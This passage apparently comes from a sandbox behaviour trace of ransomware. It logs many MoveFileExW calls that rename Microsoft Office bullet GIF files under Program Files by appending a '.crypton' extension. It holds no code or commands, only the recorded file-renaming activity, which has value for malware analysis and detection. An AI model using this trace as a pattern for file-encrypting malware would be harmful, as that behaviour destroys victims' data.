office\\media\\office14\\bullets\\bd14655_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14655_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14655_.gif.crypton"), dwFlags=0x2) returned 1 [0087.833] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14656_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14656_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14656_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14656_.gif.crypton"), dwFlags=0x2) returned 1 [0087.835] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14691_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14691_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14691_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14691_.gif.crypton"), dwFlags=0x2) returned 1 [0087.837] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14692_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14692_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14692_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14692_.gif.crypton"), dwFlags=0x2) returned 1 [0087.839] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14693_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14693_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14693_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14693_.gif.crypton"), dwFlags=0x2) returned 1 [0087.841] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14752_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14752_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14752_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14752_.gif.crypton"), dwFlags=0x2) returned 1 [0087.844] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14753_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14753_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14753_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14753_.gif.crypton"), dwFlags=0x2) returned 1 [0087.845] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14754_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14754_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14754_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14754_.gif.crypton"), dwFlags=0x2) returned 1 [0087.847] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14755_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14755_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14755_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14755_.gif.crypton"), dwFlags=0x2) returned 1 [0087.849] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14756_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14756_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14756_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14756_.gif.crypton"), dwFlags=0x2) returned 1 [0087.851] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14757_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14757_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14757_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14757_.gif.crypton"), dwFlags=0x2) returned 1 [0087.854] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14790_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14790_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14790_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14790_.gif.crypton"), dwFlags=0x2) returned 1 [0087.856] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14791_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14791_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14791_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14791_.gif.crypton"), dwFlags=0x2) returned 1 [0087.858] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14792_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14792_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14792_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14792_.gif.crypton"), dwFlags=0x2) returned 1 [0087.860] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14793_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14793_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14793_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14793_.gif.crypton"), dwFlags=0x2) returned 1 [0087.862] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14794_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14794_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14794_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14794_.gif.crypton"), dwFlags=0x2) returned 1 [0087.864] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14795_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14795_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14795_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14795_.gif.crypton"), dwFlags=0x2) returned 1 [0087.866] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14828_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14828_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14828_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14828_.gif.crypton"), dwFlags=0x2) returned 1 [0087.868] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14829_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14829_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14829_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14829_.gif.crypton"), dwFlags=0x2) returned 1 [0087.870] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14830_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14830_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14830_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14830_.gif.crypton"), dwFlags=0x2) returned 1 [0087.872] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14831_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14831_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14831_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14831_.gif.crypton"), dwFlags=0x2) returned 1 [0087.874] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14832_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14832_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14832_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14832_.gif.crypton"), dwFlags=0x2) returned 1 [0087.877] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14833_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14833_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14833_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14833_.gif.crypton"), dwFlags=0x2) returned 1 [0087.880] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14866_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14866_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14866_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14866_.gif.crypton"), dwFlags=0x2) returned 1 [0087.881] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14867_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14867_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14867_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14867_.gif.crypton"), dwFlags=0x2) returned 1 [0087.885] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14868_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14868_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14868_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14868_.gif.crypton"), dwFlags=0x2) returned 1 [0087.889] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14869_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14869_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14869_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14869_.gif.crypton"), dwFlags=0x2) returned 1 [0087.891] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14870_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14870_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14870_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14870_.gif.crypton"), dwFlags=0x2) returned 1 [0087.896] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14871_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14871_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14871_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14871_.gif.crypton"), dwFlags=0x2) returned 1 [0087.899] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14980_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14980_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14980_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14980_.gif.crypton"), dwFlags=0x2) returned 1 [0087.901] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14981_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14981_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14981_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14981_.gif.crypton"), dwFlags=0x2) returned 1 [0087.903] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14982_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14982_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14982_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14982_.gif.crypton"), dwFlags=0x2) returned 1 [0087.904] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14983_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14983_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14983_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14983_.gif.crypton"), dwFlags=0x2) returned 1 [0087.907] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14984_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14984_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14984_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14984_.gif.crypton"), dwFlags=0x2) returned 1 [0087.908] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14985_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14985_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD14985_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd14985_.gif.crypton"), dwFlags=0x2) returned 1 [0088.098] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15018_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15018_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15018_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15018_.gif.crypton"), dwFlags=0x2) returned 1 [0088.101] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15019_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15019_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15019_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15019_.gif.crypton"), dwFlags=0x2) returned 1 [0088.103] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15020_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15020_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15020_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15020_.gif.crypton"), dwFlags=0x2) returned 1 [0088.105] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15021_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15021_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15021_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15021_.gif.crypton"), dwFlags=0x2) returned 1 [0088.107] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15022_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15022_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15022_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15022_.gif.crypton"), dwFlags=0x2) returned 1 [0088.109] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15023_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15023_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15023_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15023_.gif.crypton"), dwFlags=0x2) returned 1 [0088.111] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15056_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15056_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15056_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15056_.gif.crypton"), dwFlags=0x2) returned 1 [0088.113] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15057_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15057_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15057_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15057_.gif.crypton"), dwFlags=0x2) returned 1 [0088.115] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15058_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15058_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15058_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15058_.gif.crypton"), dwFlags=0x2) returned 1 [0088.117] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15059_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15059_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15059_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15059_.gif.crypton"), dwFlags=0x2) returned 1 [0088.119] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15060_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15060_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15060_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15060_.gif.crypton"), dwFlags=0x2) returned 1 [0088.121] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15061_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15061_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15061_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15061_.gif.crypton"), dwFlags=0x2) returned 1 [0088.124] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15132_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15132_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15132_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15132_.gif.crypton"), dwFlags=0x2) returned 1 [0088.126] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15133_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15133_.gif.crypton"), dwFlags=0x2) returned 1 [0088.128] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15134_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15134_.gif.crypton"), dwFlags=0x2) returned 1 [0088.130] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15135_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15135_.gif.crypton"), dwFlags=0x2) returned 1 [0088.132] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15136_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15136_.gif.crypton"), dwFlags=0x2) returned 1 [0088.134] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15168_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15168_.gif.crypton"), dwFlags=0x2) returned 1 [0088.136] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15169_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15169_.gif.crypton"), dwFlags=0x2) returned 1 [0088.138] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15170_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15170_.gif.crypton"), dwFlags=0x2) returned 1 [0088.140] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15171_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15171_.gif.crypton"), dwFlags=0x2) returned 1 [0088.142] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15172_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15172_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15172_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15172_.gif.crypton"), dwFlags=0x2) returned 1 [0088.144] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15173_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15173_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15173_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15173_.gif.crypton"), dwFlags=0x2) returned 1 [0088.146] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15272_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15272_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15272_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15272_.gif.crypton"), dwFlags=0x2) returned 1 [0088.149] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15273_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15273_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15273_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15273_.gif.crypton"), dwFlags=0x2) returned 1 [0088.150] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15274_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15274_.gif"), lpNewFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15274_.GIF.crypton" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15274_.gif.crypton"), dwFlags=0x2) returned 1 [0088.152] MoveFileExW (lpExistingFileName="C:\\\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15275_.GIF" (normalized: 